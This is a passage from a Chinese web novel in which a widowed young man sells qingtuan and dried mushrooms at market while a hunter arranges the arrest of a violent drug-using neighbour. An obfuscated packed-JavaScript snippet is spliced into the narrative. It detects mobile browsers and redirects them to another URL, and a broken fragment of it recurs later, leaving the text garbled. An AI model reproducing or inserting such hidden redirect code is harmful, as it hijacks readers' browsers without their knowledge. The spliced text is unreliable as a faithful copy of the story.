“有日他妻子提前破水,人又难产。他在别处喝得大醉,家中又无其他人。原本他妻子还有救,就这么活活耗死了。等他回家后看到的就是两具尸体,人就整日疯疯癫癫的,不但不知悔改还喝得更凶了。” “他老丈人从别处得知事情,猛打了他一巴掌,才将人打得清醒了些。王凡同他夫人感情不错,对这老丈人也很是敬重,这几年也一直代替妻子照顾老丈,只不过他老丈并不见他” “他做的这些事想必是不敢让他老丈人知道的,而且……”周猎户招招手,示意秦松柳将耳朵凑过来。“有次我路过他身边,似乎闻到寒食散的味道,看他样子应是吃了许久。 秦松柳闻言很是震惊,如果王凡真的在服用寒食散,又经常酗酒,恐怕人早就疯癫了。 “若你想解决这件事,可以从这两点入手。” 秦松柳点头,“多谢师父。” “对了你说齐大成将你骗到了百里外的山中,腿还受伤了,你是如何回来的。”秦松柳还在想王凡的事,就被周猎户的话题转得猝不及防。 秦松柳将岑应救了他,又与他同行,现在人就在进宝县。“待我伤好,便去好好感谢岑夫郎。” “是要好好感谢,不如以身相许啊。”周猎户挤眉动眼,看着有些滑稽。 “夫郎,我说的岑夫郎。”秦松柳硬着头皮道,他师父还是这么不正经。 “是夫郎啊,他也没说他有郎君啊,寡夫郎不也是夫郎!”周猎户胡搅蛮缠。 “不许胡说!”秦松柳放大自己的声音,以此来掩饰自己的羞意。周猎户还真说中了他的心思,一路上他和岑应很聊得来,不知从什么时候起他对这个善良开朗的夫郎渐渐有了好感。 见岑应孤身一人赶路,又并未提起过自己的郎君,秦松柳想人是不是已经逝世了,但直到他们分别秦松柳也没问出口。 “切。”这人还是不经逗,明明上山两人时常待在一起,自己每日都逗他。 将事情说得差不多,周猎户便起身回去,路过门口看到了秦芳还去捏了捏她的脸蛋,惹得秦芳捂着脸泪汪汪的。 8. 拜访秦家 卯时刚到,岑应就出门前往齐家村,走了快半个多时辰才到齐家村。 梁阿婆家就在村头,大宁此时正在家门口数地上的蚂蚁,看到岑应飞奔过来。 “岑夫郎!”大宁飞扑到岑应怀中。 “我们大宁真是乖孩子,起这么早。”岑应将大宁扶稳,牵着他的手。 大宁嘿嘿笑,拉着岑应往屋子里走去。梁阿婆家是个一进的小院,总共三间砖房,厨房就在外面。 从屋子的建造来看,梁阿婆家以前也是过得很好的,只是后面被病给拖垮了这个家。 进到院子里,梁阿婆正把青团往背篓里拾,旁边有一个瘦瘦高高、面色发黄的男子,想来就是梁阿婆生病的儿子。 梁阿婆听到动静冲岑应挥挥手,“岑夫郎,来这般早,还有一锅就快出炉了,且再等一等。”又拍了拍一旁的儿子,“这是我那不争气的儿子,齐明。” 岑应上前同齐明打招呼,“齐郎君好。” 齐明点点头,声音听起来有些虚弱。“岑夫郎好。” “好了好了,快进屋歇着去,我这没什么要忙的了。”梁阿婆将儿子赶回屋里去,齐明同岑应说了一两句就进屋了,进屋时才将压抑着的咳嗽声放出来。 “我这儿子,说了不要他帮忙还非要了来,自个身体又不好。”梁阿婆背过身去,眼里有些湿润。 “阿婆,齐郎君也是心疼母亲,待我们将生意做起来,赚得多多的就能请更好的大夫为齐郎君看病了。”岑应知道梁阿婆心里伤心,忙安慰。 梁阿婆背着岑应擦了擦眼泪,转过来。“是了,岑夫郎说得对。” 岑应见梁阿婆情绪好了些,才开口问。“阿婆,不知你家中可有山货,我想拿到县中去买。” 梁阿婆迟疑,“有是有,不过品相不太好,平时都是留在家中自己吃。” “也成,我先看看如何。”岑应打算先看看,来都来了。 梁阿婆点点头,招呼大宁去将家中存储的干菌子拿出来。 大宁哒哒地往堂屋里跑,又哼哧哼哧地拖着一个布袋出来。 “这么多!”岑应看着这么一大包有些惊讶。 “都是大宁同小莲去采回来的,两个孩子没事干就爱往山上跑。”梁阿婆将布袋的口打开给岑应看。 平时大宁小莲没什么可玩闹的地方,就往山上跑,去捡菌子,不管都乱捡一通。好歹也是粮食,梁阿婆将不能吃的捡出来告诉两个孩子以后不能捡这些,就将剩下的晒干以后吃。 “真乖啊我们大宁小莲。”岑应撸了把大宁,看向袋子里的东西。其实品相也还行,就是无论什么菌子都混在一起放,有大的小的、完好的破损的。 岑应扒拉了几下,发现梁阿婆家的这些干菌子晒制得很好,又干净没什么泥沙。 “其实也能卖,就是得分一分,将大一些、完整些的挑出来。只是不知阿婆你介不介意吃小个的菌子。”岑应捡了几个品相比较好的,“像这样的挑出来。” “这有什么好介意的,那么多我们一家四人也吃不完。”梁阿婆听这袋子孩子胡乱捡的菌子能卖钱,心里开心着呢。 “我来挑!我来挑!”大宁去扒拉那袋子,开始一个个往外捡那些好的菌子,还对不同的菌子进行分类。此时小莲正好揉着眼睛从屋子里出来,头发绑歪了,鞋子也穿反了,走到梁婆子旁边,“奶奶、哥哥、岑夫郎好。” 梁阿婆一把搂过小莲,“诶哟你看你爹给你弄的。”将头发解开给小莲绑了一个丸子头,又将鞋穿好。 此时小莲也清醒了,吃了些早饭也加入到分菌子大业中。哥哥怎么做自己就跟着怎么做,十分乖巧。 岑应看这边一时半会忙不完,就跟梁阿婆打听秦松柳家住何处。 “你认识秦小子?”梁阿婆挺惊讶的,他们家跟秦松柳倒也算熟悉,他夫君去世后,儿子病弱,秦松给他们家帮过几次忙。 岑应点点头,将他在破庙遇到秦松柳的事简单说了。“岑夫郎可真是个好人。”梁阿婆知道秦松柳腿上受了伤,但不知人被抛在那么远的地方。 “往前一直在走,右手边的青砖房就是秦家了。”梁阿婆给岑应指路,这青砖房是秦母怀着秦松柳时建造的。 岑应点头,“我去看看他伤如何便回来。” 说完便出门去,路上遇到了几个跟他打招呼。村民见他面生,以为是谁家的来探亲,等岑应走到秦家停下来时才发现不对。秦家同秦父那边的亲戚早就断绝关系,秦母家中是老来得独女,秦松柳还没有出世时外祖皆逝世,秦家哪来的亲戚。 岑应没理会这些人的疑惑,抬手敲了敲秦家门,等了一会是个小姑娘来开的门。 秦芳躲在门内,只露出一双眼睛来看岑应。 “请问这可是秦郎君家?我是他朋友,想来看看他。”岑应露出微笑,努力地想让自己看上去和善些。 秦芳只是盯着他看,好一会后将门又关上,往屋子里跑。 岑应碰了一鼻子灰,有些尴尬地搓搓鼻子。难道自己找错门了?还是说自己看起来很吓人? 这边秦芳哒哒地往屋子跑,秦松柳见没人跟着她进来,“怎么没人。” 秦芳摇头。 “没人?” 秦芳再摇头。 “不认识?” 秦芳点头,又指了指自己。 “是女子或者哥儿?”秦松柳对这个猜想有些期待。 秦芳点点头。 “咳,芳儿快去将夫郎请进来。”秦松柳才说完,秦芳又哒哒跑出去,秦松柳赶忙看自己有没有不得体的地方。 门外,岑应正打算离开,门被推开了,秦芳看岑应想走赶忙上前拉住他。 哥哥可说了要将夫郎请进去。 岑应被秦芳拽着往屋子里走,直拽到秦松柳面前。 秦松柳汗颜,“芳儿以后不能再这般拽人了。”秦芳平日里接触的人除了他就是刘娘子一家,平日在刘娘子家就是吃饭和柯姐儿玩,自己这个做哥哥的对秦芳的教育倒是有些疏忽了。 秦芳点点头。出门去找刘娘子家的柯姐儿玩。 秦松柳有些抱歉,“岑夫郎莫怪,我妹妹生下来就不会说话,刚刚也不是想冒犯夫郎,是我要她将人带进来的。” “无事,这就是芳儿吧,很可爱。”岑应说的不是客套话,秦芳的眼又大又圆,脸颊上还带着一些肉,脸色白里透红。 秦松柳见他没有真的怪罪秦芳,松了口气。“岑夫郎今日来看秦某,秦某很是感谢。” “无事无事,我也不是专程来看你。”岑应摆摆手,将他与梁阿婆的事说了。 “梁家阿婆人是很好的,岑夫郎可放心与他们来往。”虽然岑应不是专程来看他的,他也很开心了。 岑应见他状态不错,也就没有多待,毕竟他们一个男子一个哥儿,传出去难免被人编排。 “岑夫郎等等。”秦松柳开口将人叫住。 “?”岑应不知秦松柳为何叫住他,但还是停下回头听秦松柳讲话。 “岑夫郎说是要云些青团、干菌子去县城中卖,我这有些鞣制好的皮子,不知夫郎收不收。”秦松柳学习打猎手艺时,也一同学习了鞣制皮子的手艺。 “收的,收的。”岑应暗骂自己,昨日还说要来秦松柳家看看有没有皮子,刚刚倒是忘记了。 秦松柳腿脚不便,便让岑应自己去取,秦家有一间空房,是专门放这些杂物的。岑应打开放皮子的箱子,发现里面的皮子存放整齐,皮子看起来也柔顺光滑。 岑应翻了翻,发现有兔皮也有狐狸皮,正想取些出来,才想起来现下是春天了,谁还会买皮毛用。岑应有些尴尬地关上箱子,打算去跟秦松柳告别。 秦松柳看他什么也没拿,有些紧张,“是那些皮子鞣得不好,岑夫郎不收?” 岑应尴尬挠挠头,“不是,皮子很好,拿出去怕是要被人哄抢一空。只是我忘记了,现下不是卖皮子的季节。 看他尴尬,秦松柳也尴尬。刚刚听岑应要拿东西去县城中卖,秦松柳就想也给岑应些东西拿去贩卖,他要的价格低些,岑应就能多赚些,便主动开口问岑应要不要皮子。他一个做猎户的,居然也能忘记现下不是卖皮子的季节。 “是我的问题,说来好笑,我一个猎户还忘记了如此重要的事情。”秦松柳抱歉道,他现在拿得出手的就是皮子,还不能给岑应 “嗐无事,改日再 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这边岑应回到梁阿婆家,梁阿婆已经将青团、干菌子给他装在了一个背篓里。干菌子垫在地下用布巾包好,青团叠在上头。岑应背起来掂了下,有些重,但也能承受。 同祖孙三人告别,岑应便往县城中去,可惜一路上并没有车可乘。等岑应到达运来客栈时已至辰时,拿上东西来不及歇息,岑应忙赶往西街市摆摊。 岑应走在街上,有几个混得脸熟的人同他打招呼。 “岑夫郎是要去哪啊?” “去西街市咧。”岑应应和到。 “今日也卖青团吗?我昨日只买到一个就没有了,我还觉得怪可惜的。” “卖的,今日多做了些,等会您可要赶早来!不止有青团,还有干菌子,品相很好的。”岑应拿着东西,同他搭话的人招呼道。 “成,我等会去!” 岑应就这样一边往西街市去,一边招呼大家来找他买东西,好不热闹。 岑应来到昨日他叫卖的交叉路口,正好还剩下两个空位供摆摊的,岑应忙上前占住那个路□□叉处最末的位置,这样无论从哪个方向来的人都能看见他。 谁知才将背篓放到地上,就被一个婶子屁股一挤给挤到了一边。 岑应,“?” “这位婶子,这地方是我先来的。”岑应努力维持着自己的微笑。 “什么你先来的,你说是就是,我还说是我先来的。”那妇人颧骨高高,一双眼睛长而细窄,看起来很难相处。 “我到这时并未看到婶子。”岑应觉得都要维持不住笑了,没想到才做生意第二天就遇到这种人。 高颧骨妇人白了岑应一眼,并未搭话,自顾自地摆她的东西。她在前头摆着,岑应就在后头替她捡起来扔回她的筐子里,那妇人竟也没发现。 那妇人带来两个筐子,一个是装售卖绣帕和香囊的,还有一个是装孩子喜欢的布偶,无论是哪样都看起来很精巧。绣帕香囊上的图案栩栩如生,布偶是作动物形态,很是生动。 手这样巧,行径怎么如此粗鄙。 帕子什么的轻巧,就是扔进筐子里也没什么声音,因此那妇人将东西全部摆出来了,才发现岑应将她的东西扔了回去。 “你这小贱蹄子!”那妇人双手叉腰,尖利的声音引得附近的人都看过来。 “我再同婶子说一次,这地方是我先来的。”岑应不怕她,就算他不能在这里卖东西,那这妇人也别想。 那妇人还想再骂,却直接被岑应打断。 “婶子若想今日都做不成生意,只管同我在这争吵,反正地方我是不会让的,婶子想要这地方明日请早。” 那妇人还想再说什么,见官府收摊位费的人来了只好作罢,走时狠狠瞪了岑应一眼。 等风波平息后,岑应吁了一口气。虽然知道做生意难免会遇到各种人,但才第二天就遇到这不讲理的人,希望接下来能顺利些。 要是能有个自己的铺子就好了,这样就不用同人争抢一个好的摊位。 岑应摇摇头,铺子什么的对他来说还是过于遥远,还是好好顾及当下吧。 9. 王猎户下线 待缴了摊位费,岑应开始今日的忙碌。 这摊位费只算白日的,他的东西能在白日售空最好,不然留到晚上就得再缴一次钱。 岑应将昨日买的布铺开,然后将大宁小莲整理好的干菌子摆放在上头,又把背篓里的青团一个个叠进竹篮里。一切整理整齐,岑应今日的生意算是开张。 “包子!皮薄馅大的包子哟!” “上好的胭脂水粉!用了保证人比花娇!” “瞧一瞧,看一看咧!物美价廉的首饰,送夫郎、娘子的不二之选!” …… “青团,好吃的青团!还有上好的干菌子!” 岑应的一声声吆喝融入了整个西街市中,为这个热闹又朝气的市场又添一块砖瓦。 昨日的许夫郎带着小乐又来了,比人先到的是他的声音。 “夫郎可是让我好找啊。”小乐一看到岑应就松开他阿姆的手,晃晃悠悠朝岑应走来。 岑应将小乐抱到怀里晃了晃,“小乐来啦!” “来啦!”小乐小腿扑棱,很是兴奋。 “这小猴子。”许夫郎有些忍俊不禁,“呀,今日还有干菌子。”许夫郎看到摆着的干菌子,觉得品相还不错,便蹲下身翻看。 “是从齐家村人处收来的,都是细细挑选过的,夫郎若看得上眼不如买些回去,炖汤、焖菜都是好的。”岑应抱着小乐的手紧了紧,免得他乱扑棱抱不稳。 “是不错,我瞧着比粮食铺子的好些,个头也大。”粗看一眼过去都是很好的干菌子,许夫郎也不细挑,用手抓了一把递给岑应。 岑应将小乐放下,拿出刚刚急急忙忙去买的秤,“许夫郎,我这的菌子都是二十文钱一斤,你这是六两共十二文。”岑应称好重量,那细麻绳将干菌子捆上,好拿着走。 许夫郎点头,“你这倒跟粮食铺子价一样。”许夫郎本以为岑应价格会比粮食铺子贵一些,毕竟东西好。 岑应笑答,“这些干菌子也不是甚稀罕物,正常要价就是” 许夫郎见岑应这人做生意实在,心中也欢喜。“再给我包六个笋子青团。” 岑应忙将六个青团捡进油纸里包好,又用细麻绳绑上。“看来昨日青团味道不错?” “是了,昨日将青团买回去家中人都喜欢的。”许夫郎家共六口人,分别是他的公婆、夫君、他自己、小乐哥哥和小乐。 说完想到什么,许夫郎扑哧笑出声,拎起一旁的小乐,“昨日这皮猴子还同自己哥哥抢青团吃呢,结果抢不过他哥哥,坐在地上直哭” 岑应听了也被小乐这孩子逗笑,从篮子里拿了个笋子青团剥开给小乐。 许夫郎看到忙去拦,“这怎么使得!” “夫郎就收下吧,我同小乐有缘。再说这两日夫郎来帮衬我的生意,我心中不知道多感激。” 许夫郎见岑应如此真诚,再推脱也说不过去了。“成,以后岑夫郎要是有啥好东西,可得留我一份。” “要的。”岑应捏了捏一旁吧唧吧唧吃青团的小乐脸蛋,“夫郎晚些再给小乐吃第二个青团,糯米不好消化。” “会的,那我就先回去了,不打扰你做生意了。”许夫郎拿上东西,牵着小乐。“同岑夫郎说再见。” 小乐嘴里塞得满满的青团,闻言只抬起手懒懒地挥了两下。 “这孩子…..”许夫郎牵着小乐,渐渐消失在西街市的人群中。 许夫郎走了没多久,岑应也渐渐来了生意。 临近中午,等昨日预定的客人来拿青团后,岑应又陆陆续续卖出去四十个青团子和一大半的干菌子,也有在周围摆摊的小贩来买青团,不过大多要的都是素团子。 岑应见生意还不错,觉得能再加卖些青团。至于干菌子,梁阿婆家能卖的都被他挑走了,不知齐家村其他人家那能不能收到。 中午没什么人逛街,岑应捶捶自己的腿,剥了个素青团吃起来。 干菌子他以十八文一斤的价格从梁阿婆那收了两斤,若是今日将所有的东西卖出去,自己就能进账七十四文,一天将近百文! 只是生意不会日日都好。 中午过后,生意不算得好,百姓们早晨已将所需物品采买完毕。岑应当机立断收拾东西,像之前那样走着卖。 这边齐家村,秦家。 赵鑫上门,带来了一些关于王凡的消息。 赵鑫此人自小习武,十六那会加入了秦父所在的镖局,平日多得秦父照顾。可还没等他大展身手一番,秦父一行人亡于刀下。 一下子死了那么多镖师,还要赔偿雇主的损失,镖局没多久就散了,是赵鑫一人单枪匹马将众人的遗体带回,也是他去各家通报消息,赵鑫同秦松柳便是在那时认识的。 镖局散后,赵鑫便在县中收钱与人办事。他长得高又壮,常年留着胡须,眼睛一瞪就让人害怕。但为人义气又正直,所以他在县中混得很开。 秦松柳此次就是向赵鑫求助,想解决王凡这件事。 赵鑫一身短褐装扮,全身上下一丝不苟,连个衣角也要塞好,进了门就盯着秦松柳看。 秦松柳摸摸鼻尖,“赵哥,除了腿上这伤不好下地外,其他的没什么。” 赵鑫点头,“无事便好,王凡这人确是一直在用寒食散,且如今状态很不好。” “很不好?”秦松柳惊讶。 “是,我的一个雇主说王凡现下已经是整日瘫在床上醉生梦死。”赵鑫的消息很少出错,他若是这么说便八九不离十。 病歪歪的恶兽是最好对付的,秦松柳将十两银子递给赵鑫。“此事还得赵哥费心,这钱赵哥拿去做打点用。” “听闻王凡老丈人并非进宝县人,而是三十里外百行镇人。若王凡对他老丈人欲行不轨,百行镇衙门有权拿人问罪。” 赵鑫听懂了秦松柳的意思,将一半银子推回去。“用不了那么多,五两银子已经够请办事的人喝酒了。” 见赵鑫如此秦松柳也不强求,让秦芳到库房里将狐狸皮子拿出来。“家中没什么好东西,只这皮子拿得出手,赵哥就别推脱了。” 赵鑫本不想要,但秦芳一向是哥哥说的话就要做。拿着皮子圆溜溜的眼睛直盯着赵鑫,毕竟哥哥说不能拽人,没说不能盯着人看。 无论赵鑫怎么推脱,秦芳还是维持原样。赵鑫又去看秦松柳,秦松柳则一个劲地说芳儿真懂事,芳儿真懂事,也不去看赵鑫。 赵鑫无奈,只能收下,这块狐狸皮子可不止五两银子。 “你真是……”赵鑫拍了拍秦芳的头。 两人又商讨了一会,秦松柳向赵鑫说希望到时不要伤害老人。 赵鑫表示自己心中有数,让秦松柳安心养伤。 送走赵鑫后,秦松柳数了数钱匣子。 大夫给他开了不少药,外敷内用都有,他先前攒下二十两银子已经要见底了,可他还得躺一个月。 大夫说他除了腿上外,脑袋也曾遭到打击,虽然他自己感觉没什么,但大夫还是建议他好好养伤。 秦松柳看着钱匣子觉得没什么,毕竟那二十两银子也是自己慢慢攒下来的,从头再来过也没什么,就是成天只能躺着,让人怪难受的。 秦松柳将匣子放好,想这次可得多挣些钱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234055|166002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这边赵鑫回到县城提了几坛子好酒,找到了孙头子,让他将王凡食用寒食散一事告诉他老丈人,又让他到时候盯着那王凡,让他别伤人。又去找了个女婿在百行镇做官差的县丞吃酒,打点了许久。 王凡老丈人听到这事后,果然怒气冲冲前来王凡家中,见人如烂泥瘫着,老丈人破口大骂。 “你这烂人,果然是狗改不了吃屎!淑娘才去了多久,你就这般!”老丈人在屋子往来往去,在角落找到一把扫帚,拎起来就狠狠往王凡身上招呼。 王凡脑子还没清醒过来,身上挨了好几棍子才迟钝起身,眼前虚影重重,也不觉得痛,只眯着一双眼睛,弯下腰双手作揖。 “岳丈大人,小婿有失远迎……” 老丈人一看他这样就知道他没清醒过来,心中怒意更甚。“我今日非教训教训你不可,为我儿出口恶气。”言毕抡起扫帚就打。 王凡话还没说完,老丈人就将他的头打破了,血往下流进了眼睛里。王凡此刻右眼染血,面容瘦削,佝偻着身上,身上的衣服也松松垮垮拢在身上。 老丈人喘着粗气,未想到会将人打出血。他怒气上头,只为女儿委屈。当时他做主将女儿嫁给他,就是觉得此子品行端正,不曾想竟害了女儿。老丈人恨王凡不成人、不知悔改,也恨自己识人不清。 血顺着脸流到衣服上,王凡才有些清醒过来。 “岳丈大人这是做什么,小婿今日在家睡得正好,岳丈扰人清梦不说,还将小婿打得头破血流。”王凡嘴角抽搐,想扯出一个笑却面部僵硬动不得。 淑娘去世后,王凡很是愧疚,便将这份愧疚寄托在老丈人身上。 老丈人将扫帚一扔,用手指着王凡。“放你的屁,你看你今日的样子!从前我只恨你害死淑娘,如今我不恨了。淑娘哪怕现在活着,迟早有一天也会被你害死!” 王凡暴起,一把掐住老丈人的脖子。“我没害死淑娘!” 老丈人被掐得呼吸不畅,脸色泛红,喉咙发出嗬、嗬的气声。 躲在屋外听动静的孙头子冲进屋内一把摁住王凡,王凡脸着地,不断挣扎着,衣服也散了。嘴里嘶喊着,“我没害死淑娘。” 孙头子差人去报官,嘱咐手下专门去找那主簿。 县丞得了消息,又与县太爷通了气,很快将人押走。 王凡面容呆滞,嘴里一直在念叨什么。老丈人脖子上的掐痕青紫,面容灰败。 县丞也有女儿,颇为疼爱,见有些如此感同身受。叮嘱押送王凡的官差,“此人疯魔,青天白日下行凶,证据确凿,你们速速将人押往百行镇,不得有纰漏。” 几名官差应声,随后给王凡戴上手铐脚镣夹板将人押往百行镇。老丈人打算同行,今日王凡的行状属实吓坏了他,与其放他在外头不知今夕何年,倒不如送入县衙中。 官差押送王凡的时候,被走街串巷卖青团的岑应撞见了,岑应连忙退开,因着是第一次见这种场景又忍不住去看。 只见押送的那样神色恍惚,嘴里念念叨叨的,像个疯子。 岑应打了个战栗,还是不去看了,快将东西卖完才是正事。 当朝每个县中配一县令、一县丞,镇上则配一县丞主事。 王凡押到百行镇时,由县丞大人审问,县丞大人听老丈人诉说后唏嘘不已。 此人爱妻否?此人害妻也。 王凡因吸食当朝禁品又故意伤人,徒三年半,罚五两银。老丈人失手伤人,念其有因,罚半钱。 王凡入狱后,时常恍惚一动不动,时常暴怒咒骂在地上翻滚。没多久,一头撞死了。 10. 日常生活 申时刚过,岑应才将东西全部卖完。 下午的生意没有早上、上午好,原本岑应还想加卖的,这下打消了这个念头。 收整好东西,岑应打算回运来客栈休息,明日同一时间再去梁阿婆家。 “等等!等等!等一下!”远处有人奔来。 岑应背对着他,刚开始还不知道叫的是他,直到那人跑到他面前他才发觉叫的人是他。 那人小厮打扮,应该是从很远的地方跑来,一边擦自己脑门上的汗一边喘气。 岑应不知他找自己何事,但也不着急。“这位小哥您缓缓。” 小厮气顺了些,才开口。“夫郎可是卖青团的岑夫郎。” “正是,只是今日的青团已经没有了,想要的话得明日再来。”岑应刚刚还觉得下午生意不算好呢,没想到马上就有人来要。看来只要守得住,卖得再晚些也是可行的,就是身体有点吃不消。 小厮摆摆手,“是要买青团,只不过是今天要。” “那是要预订?”岑应最喜欢预订了。 “是也,明日就要。”小厮口中的少爷今年中举,为人读书刻苦,与祖母感情深厚。 祖母于他科考前一个月去世,家中人怕惊扰他考试便没有告知,待他考中从书院回来时得此噩耗,痛哭流涕,大骂自己不孝也。 再过十日,举子就要前往京城书院备试,临走前想祭奠一番祖母好尽孝道。 今日举子前往书局,路见有人吃青团,便想起垂髫时祖母在他面前怀念江南风光,便想买些青团好让祖母泉下以慰思乡之情。 进宝县竟有如此多的江南人士吗?个中缘由岑应想不明白,但他现下确实有生意可做。 “举人老爷同祖母感情当真深厚,不知您家想要多少青团。”岑应想要是不多的话明日就少卖一些,这样可以早些回客栈歇息。 “我家少爷要五十个。”小厮伸手比了个五。 “这么多?”岑应有些惊讶,五十个的话他今晚就得去齐家村一趟,毕竟明日的生意还是得做的,现下正是招揽熟客的时候。 “是,主家人多,祭拜老夫人那日会有许多人来。我家少爷怜惜粮食,打算祭拜完后与家中人分食。”小厮解释道。 五十个青团都能分完,人真的是很多了。“好,小哥不如告诉我地址,明日我做好了与贵府送去。” “老夫人爱吃甜,这五十个青团都要甜口的用作供奉。”小厮交代着主家的要求。 甜口青团也有,只是糖贵,岑应一开始没打算做。“小哥这甜口的青团要贵些,毕竟现下糖价贵。”岑应冲小厮不好意思笑笑,有点担心这样一个大主顾跑了。 “多少?”出门前主家交代了,只要不超过某个价就行。 岑应之前考察也看过糖价,红糖二十五文一斤、白砂糖四十文一斤、一块块的冰糖哪怕很粗糙都要五十五文一斤。 “那得看小哥要哪种糖了,红糖贵些五文一个,白砂糖的六文。”冰糖不好做馅,因此岑应略过了。 小厮点点头,出门前主家说只要不超过八文一个都可,现下还多两文出来。“要白糖的。” 岑应收了一百五十文定金,与小厮约定好时间地点,马不停蹄就去粮食铺子买了一斤半的白砂糖。连东西都来不及回运来客栈放,就急忙往齐家村跑。 不知道是不是运气全用在了做生意上,一路上岑应都没遇到一辆去往齐家村的车。岑应今日早早起了,站了半天又走了半天,一整天也没吃什么东西,到齐家村时腿都在打摆。 终于到了梁阿婆家,岑应咚咚将门敲响。 来开门的是大宁,“奶奶,岑夫郎来啦。” 梁阿婆见岑应累成这个样子,忙拉他到凳子上坐下,又给端来一碗糙米粥。“夫郎吃碗粥垫垫肚子。”又喊大宁生火给岑应热点吃的。 “岑夫郎怎的那么晚过来?”梁阿婆往锅里放了几个饼子,又趁岑应不注意往里面加水煮了个鸡蛋。 岑应就坐在梁阿婆旁边,粮食下肚才觉得活了过来。“我本想明日才过来的,可刚刚有人同我定了五十个青团子。” “这么多!”梁阿婆有些惊讶。还没等她问什么,岑应起身从背篓里掏出一大包糖出来。 “还有这个,那户人家要甜口的,我就去买了一斤半的糖来。”岑应将糖举到梁阿婆前面,眼睛亮晶晶的。 梁阿婆听说要做甜口的,转身去堂屋拿了些花生芝麻出来。“要做甜的可以将花生芝麻碾碎了一同包进去,香得很。就是这样放了有些久,没有那么香了。”说完又想起什么,“放心都没坏,我尝过的。” 岑应看了看梁阿婆手里的花生芝麻,是看起来有些旧,但颗颗饱满,也没有坏的。“这些就好,等我们以后赚得多了再去买新的。” 梁阿婆见岑应没有嫌弃,很是开心。“诶,好,夫郎吃些东西,晚点我就开始做。” 说话间,饼子热了,水煮蛋也熟了,梁阿婆捞了一些子腌菜给岑应就饼子吃。 “家里没什么好东西,怠慢岑夫郎了。” 岑应握着那枚鸡蛋,有些说不出话,从他娘过世后他就再也没吃过鸡蛋了。 “这件很好了,我今日都没怎么吃东西呢!”岑应敲开那枚鸡蛋,一口一口吃完,又将饼子腌菜都吃了。 梁阿婆见岑应吃完了,很高兴。做长辈的就是这般,小辈能吃他们就欢喜。 岑应吃饱喝足休息好了,将七十文交给梁阿婆。这是今日七十个青团的钱,明日的明日再结。 梁阿婆收好钱,打算明日去割点肉给孩子们补补。明日的青团不能今日做,梁阿婆打算先做准备工作,将芝麻花生炒好再碾碎。干货禁放,这样还能节省时间。 梁阿婆炒制芝麻花生时,岑应就在旁边学怎么控制火候,怎么翻炒均匀。虽然他对做饭一事并不清楚,但可以学,做饭最重要的之一不就是把控火候嘛。 梁阿婆见岑应蹲在灶头旁边时不时往里边塞柴火,塞完了眼神亮晶晶的看向梁阿婆,好像在说我做得对吧。 这孩子,乖的哦。 到翻碾时岑应更是干得卖力,一点也不许梁阿婆动手。岑应用石臼捣着东西,想到明日钱多多的,力气也大大的。 等东西备好,天色已晚,梁阿婆想留岑应睡下,岑应拒绝了。 “阿婆我在这睡下不合适。” 梁阿婆这才反应过来,他儿子还在家呢,岑应一个寡夫郎要是留宿在这,难免有人说闲话。 梁阿婆有些心疼岑应,年纪轻轻没了郎君,每日还要如此劳累。 岑应倒觉得没什么,当初逃离安山村时就已经做好了过得很辛苦的准备,如今他生活虽然累但他还是很喜欢的。 “阿婆,明日如果糖有剩下的,我们也包一些甜的去买,应该有人喜欢的。”岑应估计甜的虽然卖得贵,但应该也会有人买。 梁阿婆应下,两人商定以后每日还是按七十个来售卖,有人预订则另说。 时候不早,岑应告辞离去,梁阿婆将他送到村头,直到看不见人影了才回去。 岑应累得不行,好在路上遇到了送孩子到县城医馆看病的夫妇。夫妇二人驾着牛车,见岑应孤身一人走在路上,天又那么黑,赶忙请他上车。 “多谢郎君、娘子。”岑应实在是累,也没有过多推脱就上了车。 车上的妇人抱着一个两岁大的孩子,孩子脸上红扑扑的,看来是发了热。见有陌生人上来,那孩子也不哭闹,只是紧紧抓着娘亲的衣服。 岑应上了车没有拿铜钱给妇人,而是拿出了两颗甜果子递给妇人,是大宁给他的。 妇人接过咬开了个小口,挤出汁水喂到孩子嘴边。那孩子发着热,正觉得渴,一下子有又甜又凉的汁液喝,连忙吮吸起来。 岑应见孩子吃得欢快,心里也高兴。就是有些对不起大宁的心意,待明日到了梁家再同他说吧。 到了县城门口,岑应同夫妇二人分别。马不停蹄回到客栈靠意志力撑着洗漱一番,倒在床上就昏睡过去。 又是一日卯时,岑应双眼还迷瞪着就踏上了前往齐家村的路。 岑应天马行空着:要是有代步工具多好……可人不能一直住在客栈……那住在车上……人怎么能住车上……能找个人送货……能吧……为什么自己不能一步十里…… 此时一人纵马飞奔,岑应连忙闪避,试图用手挥散漫天飞的灰尘。 什么人嘛,岑应一下子清醒了过来,加快时间赶路。 等岑应到达梁阿婆家时,梁阿婆已经将东西全部准备好了,岑应拿着就能走了。 不过梁阿婆没让岑应走,而是留他吃些早饭。 岑应这才想起来今晨迷迷糊糊就走了,还没用饭食。岑应想着今日还要花费许多力气,就没推脱。 梁阿婆家今日做的是红薯饼子,将红薯蒸熟剥皮碾成泥和进粗粮面中,再分成大小均等的团子压扁上锅蒸煮。吃下去带着红薯丝丝甜味,再配着鲜咸的炒春笋,一顿早饭吃得满足。 期间梁阿婆告诉岑应一个好消息,齐家村有户人家每日固定往县中一家食铺送新鲜的时令蔬菜,到时他们可托这户人家每日将东西送到县城门口,只需付这户人每日三文钱。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那怎不见大宁小莲他们娘亲。”岑应偶尔听到小莲说阿娘,只是还没说什么大宁便不让她说了,要是继续说还要生气的。 刘婶子听他这样问,呸呸两声。“说起这个,夫郎可知大宁他们爹是如何病成这样的。” 岑应摇摇头,他想过问阿婆的,只是一直没有找到合适的机会。 “那女子是去年闹着要走的,说什么根本不爱齐明,又嫌弃齐明身体不好。你说这人,嫁过来那么多年,孩子都生了两个才说爱不爱的。” “当时齐明身子已经很不好了,不想拖累她,就签了和离书放人走了。” 